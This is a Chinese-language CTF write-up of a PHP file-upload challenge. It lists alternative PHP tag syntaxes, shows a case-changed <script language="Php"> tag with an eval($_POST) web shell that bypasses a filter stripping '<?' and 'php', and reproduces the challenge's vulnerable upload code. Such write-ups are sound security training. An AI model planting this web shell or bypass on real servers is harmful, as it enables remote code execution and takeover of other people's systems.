个人收获:php标签的几种写法,对过滤进行绕过

    1. <?php echo 1; ?> 正常写法
    2. <? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';short_open_tag打开后才可用;
    3. <% echo 1; %> asp 风格写法,需要通过 php.ini 配置文件中的指令 asp_tags 打开后才可用。
    4. <script language="php"> echo 1; </script> 长标签写法,在php7.0后不解析

    题目分析
    image.png
    文件上传题,这里直接上传一个图片马,抓包修改文件扩展名为.php,上传后发现图片马直接显示出来,说明没有被解析。
    image.png
    访问11.php,页面返回
    image.png
    <?php没有出现,可能被过滤了。继续尝试验证,添加可能被过滤的字符串
    image.png
    访问11.php页面返回
    image.png
    只有<没有被过滤;php<?都过滤了。<?php是php的标签写法,实际上php的标签写法不止一种,<script language="php">echo 1;</script>这种写法就可以绕过本题的过滤。

    参考:https://wp.hellocode.name/?p=470

    尝试

    1. <script language="php">phpinfo();</script>

    发现解析不了,由于前面的php被过滤了,这里使用大小写Php来绕过

    <script language="Php">eval($_POST['cmd']);</script>
    

    image.png
    连接webshell,得到flag
    image.png
    撸下index.php源码,

    <!DOCTYPE html>
    <html lang="en">
      <head>
        <meta charset="utf-8" />
        <title>文件上传</title>
        <link href="./bootstrap.min.css" rel="stylesheet">
      </head>
      <body>
        <script src="./jquery.min.js"></script>
        <script>
          $(document).ready(function() {
            $('#selectFile').on('click', function() { $('#file').trigger('click') });
            $('#file').change(function() { $('#selectedFile').val($(this).val()) });
          });
          // references: http://kuwalab.hatenablog.jp/entry/2014/01/02/191821
        </script>
        <div class="container">
          <div class="row">
            <div class="col-lg-12">
              <h1>文件上传</h1>
              <p>你可以随意上传文件</p>
              <form method="post" enctype="multipart/form-data" class="form">
                <input type="file" name="file" id="file" style="display: none;">
                <div class="input-group">
                  <input type="text" class="form-control" id="selectedFile" readonly>
                  <span class="input-group-btn" style="width:200px">
                    <button id="selectFile" class="btn btn-defdault" type="button" style="margin-right:5px;">选择文件</button>
                    <input type="submit" value="上传" class="btn btn-primary">
                  <span>
                </div>
    
              </form>
    
    <?php
      if($_SERVER["REQUEST_METHOD"] === "POST") :
    ?>
    <?php
        if (is_uploaded_file($_FILES["file"]["tmp_name"])):
          $file = $_FILES['file']; //获取文件对象
          $name = $file['name'];  // 获取文件名
          if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
            $data = file_get_contents($file['tmp_name']);  // 获取文件内容,返回一个字符串
            while($next = preg_replace("/<\\?/", "", $data)){  // 将<?替换为空
              $next = preg_replace("/php/", "", $next);  // 将php替换为空
              if($data === $next) break;
              $data = $next;
            }
            file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
            chmod(dirname(__FILE__) . '/u/' . $name, 0644);
    ?>
            <div>
              <a href="<?php echo htmlspecialchars("u/" . $name)?>">上传成功!</a>
            </div>
    <?php
          endif;
        endif;
    ?>
    <?php
      endif;
    ?>
            </div>
          </div>
        </div>
      </body>
    </htmla>